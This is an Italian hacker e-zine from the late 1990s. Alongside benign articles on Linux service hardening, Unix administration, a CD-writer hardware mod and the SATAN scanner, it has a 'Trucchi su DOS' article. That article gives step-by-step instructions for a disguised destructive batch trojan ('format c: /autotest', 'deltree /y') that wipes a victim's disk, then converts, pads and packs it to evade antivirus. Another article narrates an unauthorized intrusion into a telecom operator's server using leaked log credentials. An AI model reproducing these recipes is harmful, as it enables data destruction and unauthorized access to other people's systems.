leggetevi i manuali" pero' credo che la cosa migliore che posso fare sia
quella di illustrarvi quali sono gli argomenti per cui sarebbe meglio (ai fini
della nostra sicurezza) documentarsi un po'. Sono certo al 100% che se
cercassi di spiegare qualcosa io non riuscirei a rendere nemmeno un decimo di
un HOWTO o una man page. Scrivo questo pezzetto perche' anche io appena ho
installato Linux mi son trovato con "qualche" domanda e spero cosi' di poter
rispondere ad alcune delle vostre.
Allora com'e' andata l'installazione? Tutto a posto e ora..... Proviamo a vedere
se il pinguino ci puo' far volare sopra ai navigatori che hanno scelto il male
(B.G.). Allora visto che il KDE ormai ce l'avete tutti e a volte l'utility per
la connessione funziona :-) non mi dilungo e passo a quello che dovrebbe essere
l'argomento principale di questa manciata di byte. Per cominciare si puo'
provare a fare un bel netstat.
|| netstat ||
Penso che voi tutti possiate immaginare lo scopo di questo tool.
Digitate al prompt della shell netstat -a e scoprirete tutte le porte che avete
in ascolto. A noi interessano le linee sotto alla dicitura "Active Internet
connections". In questo modo, come nel netstat di Win, vediamo le connessioni
attive e le porte in ascolto (LISTENING). Se volete avere le stesse
informazioni ma vi interessa sapere l'ip e il numero di porta allora bisogna
aggiungere l'opzione -n. Senza questa opzione netstat cerca di risolvere gli ip
e mette la dicitura che trova nel file /etc/services al posto del numero della
porta. Se avete fatto come me (e credo come molti) e avete installato Apache,
FTP server, sendmail e altra roba allora ne vedrete un bel po'. Personalmente
ritengo utile installare diversi servizi sulla propria linux-box per diventare
abili nello sfruttarne i bug (pero' e' meglio disattivarli quando non servono
+).
|| inetd ||
In poche parole questo demone gestisce tutte (o quasi) le porte in ascolto
sul vostro pc al posto dei singoli servizi. Quando da un client giunge una
richiesta al nostro server, inetd che ascolta la richiesta richiama il
servizio in questione.
Le porte sulle quali questo demone deve mettersi in ascolto sono specificate
nel file /etc/inetd.conf, il suo file di configurazione insieme ad altri
parametri come il tipo di protocollo e il server da richiamare.
Questo file ci permette di scegliere quali porte vogliamo tenere aperte e
quali no (solo per i servizi gestiti da inetd). Se apportate delle modifiche
a questo file per renderle effettive basta lanciare un "kill -HUP pid" dove
pid e' il numero del processo inetd (le virgolette non ci vogliono).
Analizziamo ora come e' fatto il nostro file di configurazione. Le porte non
sono riportate in forma numerica ma con il nome del servizio e per conoscerne
l'equivalente numerico (es ftp --> 21 ) basta consultare il file /etc/services.
Alcuni servizi vengono gestiti direttamente da inetd e al posto del nome del
server troviamo la parola riservata internal.
Personalmente credo che ci siano molti servizi che vengono abilitati durante
il setup e l'installazione che non sono di nessuna utilita' e quindi tenere
aperte alcune porte come echo, netstat, finger, time, discard, chargen e'
inutile se non rishiso.
Per non avviare piu' un servizio basta commentare con il carattere '#' l'inizio
della linea nella quale viene dichiarato.
Uno dei parametri che vengono specificati per ogni servizio e' l'utente con
il quale il relativo server viene avviato. Per motivi di sicurezza e' meglio
avviare come utente root soltanto un servizio che ne ha veramente bisogno.
|| tcpd ||
Poco sopra ho scritto che inetd richiama, quando gli viene richiesto, un
server per ogni servizio. Quanto ho detto e' in parte falso in quanto molti
servizi non vengono richiamati direttamente da inetd ma la richiesta passa
per il tcpd. Questo secondo demone si occupa di fare qualche controllo sul
client che richiede il servizio in questione migliorando la sicurezza di
inetd che praticamente e' nulla. Il tcpd controlla l'indirizzo dal quale
proviene la richiesta del servizio e decide se accettare o meno in base alle
istruzioni contenute in due files : /etc/hosts.allow e /etc/hosts.deny
Ogni richiesta comunque viene segnalata al syslogd e quindi loggata.
Le istruzioni che si possono specificare nei due file di configurazione sono
di vitale importanza e quindi e' meglio che le andate a vedere sulla man page
che vi spiegera' ogni trucco per settare al meglio il tcpd : man hosts_access
A grandi linee nei due file si specificano i servizi che si possono o non si
possono (dipende se stiamo guardando hosts.allow o hosts.deny) avviare da un
certo host. Se volete un consiglio (e forse questo e' il motivo per cui state
leggendo ;) ) mettete nel file hosts.deny un riga come questa :
ALL : ALL
che nega l'accesso a tutti i servizi da tutti gli hosts a meno che non siano
eplicitamente citati in hosts.allow.
|| ftpd ||
Nel numero precedente di Newbies un articolo di T0rment0 spiega come gestire
un server ftp anonimo. Puo' succedere che il server che il programma di
installazione di linux ci ha cortesemente montato non sia di nostro
gradimento; in questo caso basta commentare una riga nel file di
configurazione di inetd. Nel caso in cui noi invece volessimo sfruttare il
server allora bisogna fare attenzone ai problemi di sicurezza che nascono.
Accedendo come un utente del nostro pc si hanno a disposizione tutte le
directory del nostro disco, non viene cioe' eseguito il chroot [ almeno
questo accade con le opzioni di default ] e cio' consente a chi e' in possesso
di un login con relativa password di spassarsela sul nostro pc. Un modo per
evitare questo e' specificare quali utenti devono essere soggetti al chroot
nel file /etc/ftpchroot. Comunque la man page dell'ftp demon e' abbastanza
chiara per quanto concerne la sicurezza di un ftp-server quindi man ftpd e
in ogni caso non lasciate dei dati importanti nelle directory che possono
essere lette anche in caso di login anonimo.
|| httpd (Apache) ||
Questo e' il primo caso di server standalone che vediamo. Standalone
significa che il demone httpd e' indipendente da inetd e che e' lui in prima
persona a rimanere in ascolto sulla sua porta (80) in attesa di connessioni.
Quando installate Apache vi ritrovate con 3 file da configurare; la
directory in cui si trovano puo' variare, io ad esempio ce li ho in
/ver/lib/httpd/conf : access.conf, httpd.con e srm.conf.
Configurando per bene questi file si riesce a far capire al nostro server in
quali directory puo' scorrazzare e in quali no. Comunque la cosa piu'
importante e' sbarazzarsi dei cgi di prova che il server ha messo in cgi-bin
in quanto potrebbero essere fonte di guai. Se il server http non lo volete
allora bisogna andare a cercare il file che lo esegue per commentare la
linea in cui viene eseguito. Generalmete questo file si trova in /etc/rc.d o
una sua sottodirectory.
|| rpc e portmapper ||
Dovendolo spiegare brevemente posso dire che le rpc (Remote Procedure Call)
sono un insieme di applicazioni remote. Senza entrare nei dettagli vi dico
che per poter funzionare hanno bisogno del portmapper che e' un demone che
informa il client dandogli il numero della porta sulla quale potra' trovare
il servizio richiesto. Questo perche' i servizi rpc non hanno un numero di
porta riservato. Il portmapper e' un altro esempio di servizio autonomo
(standalone) cioe' che non viene lanciato da inetd ma sta in ascolto sulla
sua porta (111) aspettando richieste. Adesso non ho intenzione di
approfondire questo argomento soprattutto perche' non ha alcun interesse per
chi non ha una rete locale e quindi e' meglio disabilitare il portmapper che
puo' essere un'altra fonte inopportuna di informazioni riguardanti il nostro
computer. Per farlo dovete andare nella directory in cui ci sono i file di
configurazione letti all'avvio della macchina. Questa e' una di quelle cose
che varia da una distribuzione all'altra; generalmente sono sotto /etc/rc.d.
Spero comunque che voi sappiate dove sono i vostri. ;)
Una volta trovato il file giusto cancellate o commentate (meglio) la riga in
cui vengono avviati il demone rpcd e il portmapper.
The End
---------------Non mi stanchero' mai di dirlo. Questo articoletto deve essere visto come una
lista della spesa (che orribile paragone) .... un elenco di cose sulle quali
documentarvi; non potete accontentarvi del poco che c'e' scritto qui.
Leggete le man pages di tutti i comandi e demoni che ho citato, leggetevi gli
Appunti Linux di Daniele Giacomini, leggetevi gli HOWTO e le guide. Per tutte
queste cose il sito e' uno solo..... PLUTO ( http://www.pluto.linux.it/ ).
Tutta la documentazione e' nelle pagine dell'ILDP (ovviamente in italiano).
Questo e' quanto. Il [mAx] vi saluta tutti (belli e brutti).
Un saluto particolare a tutti quelli che ho incontrato al Futurshow e a
quelli che ci sarebbero voluti venire ;-)
Per i complimenti, bonifici bancari o donazioni : [email protected]
Per insulti vari : /dev/null
;-)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
UNA STORIA SULLA TELEKOZZ
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
-----------------------------------------------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-----------------------------------------------------------------------LO SAPEVATE CHE TRAMITE UNA HOME PAGE SI PUO' ENTRARE DIRETTAMENTE DENTRO
IL DATABASE E SERVER DELLA NOSTRA MAMMA DI CUI LA MAGGIOR PARTE DEGLI
ITALIANI NE E' COLLEGATA TRAMITE CAVO TELEF...SCUSATE
OMBELLICALE ?
Forse lo sapete gia' , ma non mi importa visto che non lo sapevo io e che
forse puo' interessare a qualcuno .
Una piccola storia da me' vissuta , senza basi tecniche da poter sviluppare
sui diversi sistemi , ma con degli indizzi .
Bene iniziamo.......
" Erano all'incirca le 23:00 , in compagnia di amici mentre si parlava di
tecniche riguardanti l'hacking e il phreaking , tutto accompagnato da una
scorpacciata di curiosita' nella rete di internet . Navigando qua' e la'
siamo arrivati alla parola Mamma . Spero mi abbiate capito riguardo la parola
Mamma , per chi non lo avesse capito si prenda tra le mani l'elenco telefonico.
Bene a chi Š mai venuto in mente di entrare nel server della "mamma" ?
......credo un po' a chiunque , molti ci hanno solo pensato e non hanno mai
voluto provare , alcuni credo ci abbiano provato, molti e la maggior parte
(avendone sentite molte) hanno detto una marea di cazzate .
Comunque giravamo sempre in internet con la mente rivolta sempre su di essa,
......girando sempre nei suoi paraggi sono riuscito a trovare un sito che
apparteneva ad un tizio e quando sono entrato mi ha dato l'errore :
Your IP address (xxx.xxx.xxx.xxx) is not authorized to access .
Cosa c'era in quel sito per darmi un errore cos• ? ..........
La curiosita' si faceva sempre piu' forte .Il tipo non ho ancora capito cosa
rappresenta all'interno della mamma .........un sysop , un ragioniere , un
venditore..........bho', la cosa che ho notato e che ha diversi siti e tutti
si collegano tra di loro . Voi direte che cosa c'entra questo tipo con il
server della mamma ?....a questo non so' darvi una risposta adeguata , ma
so' solo che tramite questo tipo sono arrivato ad un file di log appartenente
ad essa.......andiamo con calma.
Cercando informazioni e provando infinite volte sono riuscito ad entrare...
(non vi dico tutto quello che ho fatto per recuperarmi un IP giusto , quindi
se mi dovreste incontrare nei canali irc non chiedetemelo )iniziavo a
rilassarmi , avevo superato l'errore
"......is not authorized to access ."
che bello!!!!
La pagina e' bianca con delle scritte nere ,ci sono documenti tecnici ,
numeri di telefono e fax , nome e cognome del tipo e due caselle con delle
scritte dove ci potevi clickare sopra .
Clicko sulla prima e cosa appare? Un bella scatoletta grigia con
" inserire login e password " .
Provo un login e pass a caso (come faccio di solito per vedere se la fortuna
mi sta' accanto qualche volta ) , ma con tutta la sfiga che ho .........
immaginatevi cosa e' accaduto..." Error..........."
Ihihihih...sempre cos• .
Va bene lo stesso . Prima di fare qualcos'altro clicko nella seconda casella
alla ricerca di altre info ( volevo capire di cosa si trattava).
Appare un'altra pagina con altre informazione e una casellina piccola piccola
verso il basso , mi leggo tutte le info e clicko sulla casellina.........e
cosa appare ? TARATTATA..... il grande file di log.
C'era di tutto , ho visto delle pass , dei login , "il mio ip"(ihihihih)
di quando avevo provato la prima volta .
xx/xx/1999 02:26:31 [NULL] xxx.xxx.xxx.xxx
xxxxxxxx.xxx.it CGI/1.1 [NULL]
xxxx/4.0 (compatible; MSIE 4.01; xxxxx) http://xxxxx.xx.xx/xxxx/ [NULL]
l'idea di mettere le " x " Š stato di body (il mio cane ), ha detto che non
si fidava!
Vado subito a provare le pass e i login che avevo trovato (speravo sempre
nella fortuna )..... finalmente la fortuna mi assiste.......evoila' la pass
funge , per la cronaca login uguale alla pass , tipico sbaglio italiano.
Appare un'altra pagina con poche scritte e due caselle . Una con su scritto :
-DatabaseEntro e mi illumino quando vedo la scritta "Server Mamma italia
net " e "Sever Database Mamma italia net " .
Qualsiasi strada prendessi oramai avevo le porte aperte .
Tramite il web sono riuscito ad entrare dentro il server e tutto quello che
mi e' servito e' stato solo un IP e un file di log trovato con un po' di
fortuna , sicuramente esistono altri modi per farlo anzi e' sicuro , con
diversi metodi , diverse tecniche ma quello che vi voglio far capire
...................Š stata tutta una questione di CULO!!!!
Volete l'indirizzo ??...........ehehe
vi do' un aiuto a cercarvelo , l'indirizzo da cui sono arrivato io inizia
con tel........ ci si puo' arrivare da diversi siti che non c'entrano un
cazzo con la mamma ma c'entrano con il tizio e ripeto non capisco ancora
il perche'........ tipo geocities e tripod .......
L'ultima cosa . quando giravo dentro i siti che mi negavano l'accesso ho
tenuto sempre l' IP magico......ehehe
_____________
||-----------||
||
||
|| ******** ||
||___________||
||___________||
StuZzik0 & |bLeaH|
-----------------------------------------------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-----------------------------------------------------------------------ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ AMMINISTRAZIONE AVANZATA DI UN SISTEMA UNIX ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
by tetofuck
Vi chiederetŠ perchŠ un grande come me si sia ridotto a scrivere per una zine
di newbiez ... beh innanzitutto Š dai vecchi volumi americani che non scrivo,
e non ho mai scritto per una zine italiana , inoltre bisogna ricordare che
newbiez non Š un termine dispreggiativo e non bisogna associarlo , come invece
fanno in molti , a lamer ... Tutti noi hackers siamo stati newbiez .
Today vedremo qualke punto dell'amministrazione generale avanzata di un
sistema unix : un po' facilitata apposta per voi eheheh
Aspettate un secondo che faccio partire la conversione degli mp3 a waves a cd
... ECCO : posso inizare . Innanzitutto un saluto a RafCrash , MAN5ON , Mene
e Supercaz , miei compaesani .
Oggi analizzeremo vari punti quali determinazione dell'utilizzo della CPU ,
top compreso , le dimensioni opportune dello swap e la modifica delle
propriet… dei processi .
/*-/*-/-*/-*/-* DETERMINAZIONE DELL'UTILIZZO DELLA CPU *-/*-/*-/*-/*-/*-/
Ecco la sintassi principale del comando che fornisce diversi dati sul
l'utilizzo corrente della CPU :
$ vmstat
intervallo
[conteggio]
intervallo Š il numero di secondi tra i report e conteggio Š il numero totale
dei report da fornire .
Per determinare il grado dell'utilizzo della CPU sar… necessario analizzare
le ultime tre righe dell'output di vmstat ovvero us , sy e id che rispettivamen
te indicano la perc. dei cilci CPU per eseguire i task dell'utente , quelli
per eseguire i task del sistema e quelli non utilizzati ovvero il tempo di
inattivit… del sistema . ( cazzo dovr… anche riposarsi eh ! )
Non allarmatevi se vedete le perc. alte , se per• persistono per lungo tempo
...beh allora iniziate a preoccuparvi .
Provate magari a vedere se Š un problema di memoria guardando attentamente le
colonne memory e swap.
Un altro metodo per l'identificazione dei problemi Š TOP anzi top ( se sapete
il perchŠ siete davvero newbiez se no siete stupidi lamerz-la risposta al
termine dell'articolo )
Tale comando mi piace molto in quanto mi permette di controllare la CPU in
tempo normale - eh cara CPU ora non mi sfuggi troietta !
Aspe che mi faccio una canna ...
Ok continuiamo , per vedere i significati dei vari campi fate man top
...ormai dovreste saperlo .
/-*/-*/*-/*-/-*/-*/*-/-*/DIMENSIONI OPPORTUNE DELLO SWAP*-/-*/*-/-*/-*/-*/*-/-*/
a cura di RafCrash
tetofuck mi ha kiesto di fargli questa sotto-sezione e io ho accettato ,
spero non vi rompa ( anzi non me ne frega un cazzo ;D )
su IRC un sacco di gente mi kiede sempre quanto deve mettere come area SWAP ?
Alcuni dicono siano necessari il doppio di megabyte di quanta ram si ha , ma
io replico : cazzo io ke ho 260 mega di RAM devo avere la partizione SWAP di
mezzo giga ? ma vaffanculo !
Beh se avete 16 mega circa di RAM 30/32 mega vanno bene se no dovete vedere
le vostre esigenze , la velocit… della cpu e quante applicazioni volete
eseguire contemporaneamente.
In alcuni casi quindi non Š addirittura necessaria la partizione ... per voi
aspiranti hackers cmq ve la consiglio vivamente .
Byez all
/*-/*-/*-/-*/-*/-*/*-/MODIFICA DELLE PRIORITA' DEI PROCESSI/*-/*-/*-/-*/-*/-*/
Dopo la breve parentesi di Raf , torno io.
Se i processi fanno le bizze la soluzione consiste nell'alterare la priorit…
dei processi col comando renice.
Digitando il comando ps -l viene visualizzato il valore di nice dopodichŠ lo
modificherete usando il comando renice .
Non serve che vi dica che collegamenti pu• avere con l'hacking , vero ?
Un saluto a tutti by tetofuck ( the best )
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME OVERCLOCKARE IL NS. AMATO MASTERIZZATORE ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Il nostro masterizzatore e' un Traxdata CDRW-2260 PRO (scsi) 2x2x6.
Aprendolo abbiamo verificato che e' uno Yamaha 2260 (Rev.C ) di Marzo '98.
Sigla sulla scheda: Yamaha Rev.C XT-948.
Bisogna cercare la resistenza R621.....e' una parola!!!!! avete visto quante
ce ne sono li sopra....
Allora intanto......
Io ho operato nella maniera seguente:
Ho svitato prima le 4 viti nere-marroni che fissano lo chassis sulla scheda
che vi e' dentro, poi ho svitato le altre 2 vitarelle di acciao che tengono
insieme lo chassis. Ho scoperchiato e mi sono trovato davanti ad una scheda
verde piena di chips e di resistenze microscopiche.
Ho verificato la scritta riportata sulla scheda: "YAMAHA" e in un quadratino
la C (la Rev. C). Allora ho capito che era veramente uno Yamaha 2260.
E' inutile cercare la resistenza R621 qui', essa si trova dall'altra parte
della scheda.
Bisogna svitare un'altra vite nero-marrone (piu' corta delle precedenti) posta
esattamente al centro della scheda. E qui' viene la parte piu' difficile...
bisogna levare la scheda per girarla.
Ecco come procedere per evitare casini (io l'ho smontato almeno 10 volte prima
di trovare l'ordine ideale delle operazioni).
Intanto facciamo ruotare il masterizzatore in modo tale che gli attacchi
dell'alimentazione dello scsi ecc. si trovino in basso (ovvero a "SUD", cioe'
vicino a noi).
L'ordine e' :
1-Staccare il connettore BLU dell'alimentazione del motorino del masterizzatore
(ha 2 fili uno nero e uno rosso), levare il nastro adesivo NERO che vi e'
sopra, questo si trova nella parte del frontalino le masterizzatore .
2- Piu' in basso verso il centro c'e' un attacco bianco sporco al quale e'
collegato un cavo piatto largo 1 cm, staccarlo.
3- In basso a destra c'e' un'altro attacco bianco al quale sono collegati dei
fili BIANCHI e uno marrone tenuti da un nastrino adesivo sulla scheda.
Alzare il nastrino per liberare i cavetti. Sotto al nastrino noterete la
scritta Yamaha XT-948.NON e' necessario staccare questo attacco (anche
perche' e' durissimo e si rischia di romperlo).
4- Questa e' una fase delicata, alzare lentamente la scheda (dalla parte
dell'attacco SCSI) tirandola verso di voi e verso sinistra, insomma
facendola ruotare intorno all'angolo alto sinistro della scheda (quello
dove c'e' l'attacco delle cuffiette). Noterete che sotto la scheda c'e'
un altro cavo piatto sganciatelo dall'attacco agendo dalla parte sinistra
(e' difficile lo so' ma ci si riesce con un po' di pazienza). Noterete
anche che in alto a sinistra c'e' un'appendice metallica che "va giu",
essa e' semplicemente accostata al telaio e non e' collegata a niente.
Quindi ora mentre con la mano destra tentate di tirare verso di voi la
scheda alzandola, con il pollice sinistro agite sul centro-sinistra del
bordo del frontalino e fate scavallare la scheda ... inistete un pochino
e VOILA' tolta la scheda.
5- Fatela girare (come se sfogliaste una pagina di libro). Troverete di nuovo
la scritta Yamaha XT-948. La Resistenza R621 si trova sul lato sinistro
in basso a 4 cm dal bordo basso della scheda. Accanto c'e' scritto Q/D
(doppia o quadrupla probabilmente).
Fate togliere la resistenza da qualcuno che ha un saldatore ad aria calda.
E in meno di 5 minuti avrete un 4260PRO.
6- Richiudete tutto seguendo la procedura all'incontrario, facendo molta
attenzione a RIPOSIZIONARE I DUE INTERRUTTORI( posti in alto al
centro-destra della scheda girata) (Sono quelli che hanno le 2 "mollette"
attaccate) TRA IL PERNO DI PLASTICA CHE SPORGE DAL MASTERIZZATORE (i 2
interruttori controllano l'apretura e la chiusura del carrello del
masterizzatore) (spostando il perno verso destra e spingendo un pochino
seza fare forza come dei bruti vedrete che il carrello si aprira', e'
proprio con il CARRELLO APERTO che conviene riposizionare la scheda) .
Prima di riavvitare la vite centrale mettete in posizione verticale il
masterizzatore (prima con il frontalino in giu' poi in su') ASCOLTATE la
corsa, e verificate che il cavo piatto che si trova sotto abbia la
possibilita' di SCORRERE! Richiudete tutto e il gioco e' fatto!!!
La scheda SCSI vi riconoscera' un TRAXDATA 4260PRO e in WIN ON CD vi sara'
abilitata la voce 4x, chiedete pure le informazioni sul masterizzatore vi
dira' che e' un Traxdata 4x. QUESTA E' STATA LA MIA ESPERIENZA, FATTA CON UN
TRAXDATA 2260PRO (NON il PLUS che quello e' un PHILIPS).
CONSIGLI
ATTENZIONE sulla Rev.C, FUNZIONA con firmware 1f o piu' vecchi.
CHE SIA CHIARO : NON MI ASSUMO NESSUNA RESPONSABILITA'
Buon diverimento...
ciaoz a tuttiz by brusto!
X CHI MI VOLESSE CONTATTARE QUERY ME SU IRC O ICQ...
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
TRUCCHI SU DOS
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Siete uno di quei tipi che la prima volta che ha fatto un file .bat ci
ha scritto dentro:
format c:
e l'ha dato al migliore amico dicendo che era sextetris? E che magari quando
l'amico ha scoperto tutto gli avete detto che il dischetto era infettato?
Se si allora DOVETE leggere questo articolo nel quale imparerete a formattare
il disco duro di chiunque in solo 814 byte!!! ;)))
Dovete sapere che una volta che fate un file .bat con dentro la parola
format e poi lo eseguite vi verra' richiesta la conferma, per evitare cio' la
Microsoft ha inserito nel file "format.com" un piccolo comando non documentato
cioe' "/autotest", infatti se scrivete un file batch con dentro
"format /autotest" l'hdd della vittima verra' formattato senza chiedere
conferma, ma realizziamo uno di questi pseudo-virus.
Create un file .txt e chiamatelo ad esempio Gargamella.txt, apritelo e
scriveteci dentro:
format c: /autotest
salvatelo e rinominatelo come .bat, NON lo avviate!!!
Ora voi vorreste dare il file a qualcuno, ma il nostro Pseudo-virus ha un bug,
se togliete "/autotest" e lo avviate vedrete che viene scritto sul monitor
"format c:", per evitare cio' riscrivete il file come vi dico:
@format c: /autotest
la @ nascondera' l'echo a schermo del comando, in parole povere non si vedra'
niente di niente.
L'unico problema e' che se il tipo ha un minimo di conoscenza in campo
informatico, andra' sicuramente ad esaminare il file senza eseguirlo.
Per evitare che cio' accada procurati sul sito di un certo Quequero
(http://quequero.cjb.net) l'utility "bat2com", un programmillo di pochi byte
che serve a convertire un file .bat in uno .com.
Se avete scaricato il file copiatelo in c:\windows\command andate al prompt
del dos e scrivete:
bat2com Gargamella.bat
e lui vi convertira' il file, ma manca solo un ritocco, se voi guardate il
file, vedrete che e' piccolissimo, solo 814 byte, per farlo diventare +
grosso andate sempre al caro promp di dos e scrivete:
DEBUG FILEVUOTO
<-File non trovato
-f 100,F000,0
<--rcx
<-:0000
EA50
<--w
<-Scrittura di EA50 bytes in corso...
-q
<--
noi
noi
noi
;cosi' scrive un file pieno di
;zeri
noi
noi
noi
in questo modo creerete un file completamente vuoto e pieno di zeri da
attaccare al vostro file Gargamella.com in questo modo:
c:\>copy /b gargamella.bat+command.com addio.com
questo procedimento noto ai piu' a me non funziona assolutamente, non so
perche' ma per farlo andare ho dovuto riempire il file .bat con decine e
decine di righe di questo genere: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
e' anche vero che con copia e incolla ci sono voluti 15 secondi, pero' il
dubbio resta.
Poniamo il caso che siamo riusciti a ingrandire il file, ora dobbiamo
comprimerlo affinche' gli antivirus non ne possano rilevare la presenza, per
far cio' dovremo usare Pklite o Petite (sempre sul mio sito) e comprimere
l'eseguibile (che cazzo ne so, neanche questo mi funziona, sara' che io e
winzoz siamo molto incompatibili e quindi lui lo fa per vendetta), la sintassi
e' questa:
pklite gargamella.com
Vi ho elencato questi modi perche' si usa fare cosi', comunque se vi arrivasse
un file .com che vi ho spedito state pur certi che non e' un virus dal momento
che quello stronzo di winzoz mi vieta di fare le cosa che non gli vanno.
Un grande FUCK alla Microsoft
Altro metodo per fare degli pseudo-virus, nel caso che non vi andasse di
formattare il disco duro della vittima, e' quello di usare "deltree /y", le
procedure di creazione sono le stesse:
@deltree /y c:\documenti
questi comandi cancellano dal disco la cartella documenti senza chiederne
la conferma, potete anche cancellare winzoz o insomma quello che vi pare,
giocate solo di fantasia, poi se vi funzionano i metodi "standard" di cui
sopra bhe'..beati voi!!!
Ciauzzzzzzzz Quequero
e-mail: [email protected]
sito: http://quequero.cjb.net
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
S.A.T.A.N.
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
OK dopo molti tentativi
sono riuscito a scrivere un articolo sul S.A.T.A.N. e
spero che lo troviate interessante, VI RICORDO CHE MOLTE DELLE INFORMAZIONI
CHE AVETE APPENA LETTO SONO STATE TROVATE IN GIRO PER LA RETE SUI LIBRI, NELLE
FAQ MA ANCHE BASATE SU ESPERIENZE PERSONALI, QUESTE INF. RACCOLTE SONO POI
STATE RIELABORATE PER RENDERLE PIU' COMPRENSIBILI E ALLO STESSO TEMPO PIU'
INTERESSANTI.
Cominciamo...Molti potrebbero pensare che il SATAN (visto la fama costruitasi
in rete) sia un super programma che basta lanciarlo e ti da l'accesso a
qualsiasi sistema informatico dal piu' marcio e baggato al sistema informatico
della CIA.
Ma in realta' cos'e' il SATAN ..????
S.A.T.A.N. acronimo di Security Administrator Tool for Analyzer Networks, non
e' altro che un tool per l'analisi dei sistemi di siqurezza delle reti, venne
ideato e scritto Dan Farmer e Wietse Venema con lo scopo di ricercare le falle
presenti nei sistemi informatici.
Fece la sua prima comparsa il 5 Aprile del 1995 con l'intendo di interrogare
milioni di Sistemi spersi per internet nel tentetivo di provare le debolezze
che rendevano i sistemi vulnerabili.
Il S.A.T.A.N. e' un tool per Unix o quasi (volevate che lo facessero per
Win95) per poter utilizzare satan occorre avere accesso da root ad una
piattaforma supportata da unix, aver installato il perl 5.0 o successivo, un
